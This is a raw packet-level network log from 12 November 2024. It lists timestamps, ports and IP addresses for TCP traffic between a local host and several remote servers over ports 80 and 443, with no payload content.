Nov 12, 2024 10:37:35.104636908 CET	49948	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.104665995 CET	443	49948	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.105103970 CET	49948	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.105109930 CET	443	49948	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.113348007 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.113379002 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.113389969 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.113476038 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.113507032 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.113523006 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.113534927 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.113552094 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.113586903 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.113650084 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.113728046 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.117312908 CET	443	49947	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.117764950 CET	49947	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.117779016 CET	443	49947	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.118319035 CET	49947	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.118321896 CET	443	49947	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.125955105 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.125973940 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.126003981 CET	49944	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.126028061 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.126045942 CET	49944	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.126059055 CET	49944	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.132014036 CET	443	49949	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.132325888 CET	49949	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.132344961 CET	443	49949	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.132783890 CET	49949	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.132787943 CET	443	49943	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.132788897 CET	443	49949	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.132807970 CET	443	49943	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.132833004 CET	49943	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.132858038 CET	443	49943	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.132875919 CET	49943	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.132888079 CET	49943	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.145837069 CET	443	49945	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.145855904 CET	443	49945	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.145896912 CET	49945	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.145922899 CET	443	49945	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.145937920 CET	49945	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.145955086 CET	49945	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.158792019 CET	443	49950	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.161479950 CET	49950	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.161518097 CET	443	49950	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.161986113 CET	49950	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.161999941 CET	443	49950	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.186749935 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.186763048 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.186784029 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.186794996 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.186821938 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.186863899 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.187000036 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.187010050 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.187055111 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.187088013 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.187108994 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.187185049 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.187185049 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.187223911 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.187238932 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.187249899 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.187254906 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.187258959 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.187272072 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.187279940 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.187283993 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.187302113 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.187329054 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.187561035 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.187572002 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.187628031 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.187628031 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.187705994 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.187716961 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.187727928 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.187738895 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.187750101 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.187752008 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.187761068 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.187772036 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.187783957 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.187787056 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.187804937 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.187827110 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.188199043 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.188210964 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.188222885 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.188241005 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.188241959 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.188254118 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.188263893 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.188268900 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.188277006 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.188282013 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.188290119 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.188302040 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.188307047 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.188313007 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.188337088 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.188353062 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.188709974 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.188721895 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.188736916 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.188750029 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.188764095 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.188930035 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.188941002 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.188950062 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.188960075 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.188972950 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.188992023 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.189059019 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.189069986 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.189085007 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.189090014 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.189096928 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.189104080 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.189109087 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.189121008 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.189121962 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.189131975 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.189135075 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.189146996 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.189157009 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.189160109 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.189174891 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.189174891 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.189203024 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.189217091 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.189954996 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.189965963 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.189975023 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.189985037 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.189996958 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.190006971 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.190017939 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.190021038 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.190021038 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.190031052 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.190042973 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.190053940 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.190054893 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.190064907 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.190068960 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.190083027 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.190088987 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.190097094 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.190107107 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.190121889 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.190134048 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.190912008 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.190923929 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.190943003 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.190953970 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.190963984 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.190973997 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.190974951 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.190984964 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.190995932 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.191003084 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.191006899 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.191020012 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.191025972 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.191031933 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.191039085 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.191042900 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.191055059 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.191065073 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.191068888 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.191092014 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.191768885 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.191780090 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.191800117 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.191809893 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.191819906 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.191823006 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.191832066 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.191848040 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.191854000 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.191860914 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.191869020 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.191873074 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.191883087 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.191890955 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.191895008 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.191906929 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.191915035 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.191917896 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.191930056 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.191939116 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.191939116 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.191967964 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.192545891 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.193725109 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.219192028 CET	443	49946	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.219252110 CET	443	49946	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.219337940 CET	49946	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.219538927 CET	49946	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.219563007 CET	443	49946	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.219573975 CET	49946	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.219579935 CET	443	49946	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.222127914 CET	49952	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.222178936 CET	443	49952	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.222368956 CET	49952	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.222515106 CET	49952	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.222527027 CET	443	49952	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.226574898 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.226599932 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.226624966 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.226656914 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.230330944 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.230341911 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.230353117 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.230390072 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.230417013 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.230459929 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.230472088 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.230510950 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.230585098 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.230597019 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.230639935 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.231410980 CET	443	49948	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.231466055 CET	443	49948	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.231513023 CET	443	49948	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.231568098 CET	49948	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.231638908 CET	49948	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.231638908 CET	49948	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.231657028 CET	443	49948	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.231667995 CET	443	49948	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.233722925 CET	49953	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.233757973 CET	443	49953	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.233843088 CET	49953	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.233977079 CET	49953	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.233988047 CET	443	49953	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.241072893 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.241091013 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.241136074 CET	49944	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.241161108 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.241178989 CET	49944	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.241360903 CET	49944	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.246072054 CET	443	49947	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.246098042 CET	443	49947	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.246134996 CET	49947	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.246143103 CET	443	49947	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.246153116 CET	443	49947	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.246195078 CET	49947	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.246324062 CET	49947	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.246337891 CET	443	49947	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.246350050 CET	49947	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.246354103 CET	443	49947	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.248403072 CET	49954	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.248441935 CET	443	49954	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.248545885 CET	49954	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.248644114 CET	49954	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.248655081 CET	443	49954	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.249990940 CET	443	49943	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.250010014 CET	443	49943	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.250050068 CET	49943	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.250073910 CET	443	49943	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.250113964 CET	49943	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.250458002 CET	49943	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.264347076 CET	443	49945	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.264375925 CET	443	49945	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.264405012 CET	49945	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.264430046 CET	443	49945	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.264446974 CET	443	49945	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.264453888 CET	49945	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.264492035 CET	49945	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.264554977 CET	49945	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.264779091 CET	49945	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.264791012 CET	443	49945	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.284312010 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.284372091 CET	49944	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.285156965 CET	443	49949	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.285319090 CET	443	49949	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.285418034 CET	49949	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.285453081 CET	49949	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.285469055 CET	443	49949	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.285480976 CET	49949	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.285485983 CET	443	49949	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.287472963 CET	49955	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.287514925 CET	443	49955	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.287677050 CET	49955	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.287837982 CET	49955	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.287847996 CET	443	49955	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.293395042 CET	443	49950	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.293453932 CET	443	49950	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.293571949 CET	49950	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.293608904 CET	49950	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.293608904 CET	49950	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.293627024 CET	443	49950	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.293632030 CET	443	49950	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.293715000 CET	443	49943	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.293781996 CET	49943	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.295670986 CET	49956	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.295698881 CET	443	49956	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.295763969 CET	49956	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.295866013 CET	49956	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:35.295878887 CET	443	49956	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:35.303679943 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.303693056 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.303704977 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.303742886 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.303780079 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.303812027 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.303823948 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.303867102 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.303967953 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.303981066 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.304032087 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.304099083 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.304110050 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.304121971 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.304141998 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.304151058 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.304156065 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.304163933 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.304189920 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.304306030 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.304342031 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.304424047 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.304435968 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.304445982 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.304456949 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.304472923 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.304483891 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.304485083 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.304521084 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.304533005 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.304718018 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.304728985 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.304739952 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.304759026 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.304760933 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.304775000 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.304775953 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.304789066 CET	80	49834	185.215.113.206	192.168.2.6
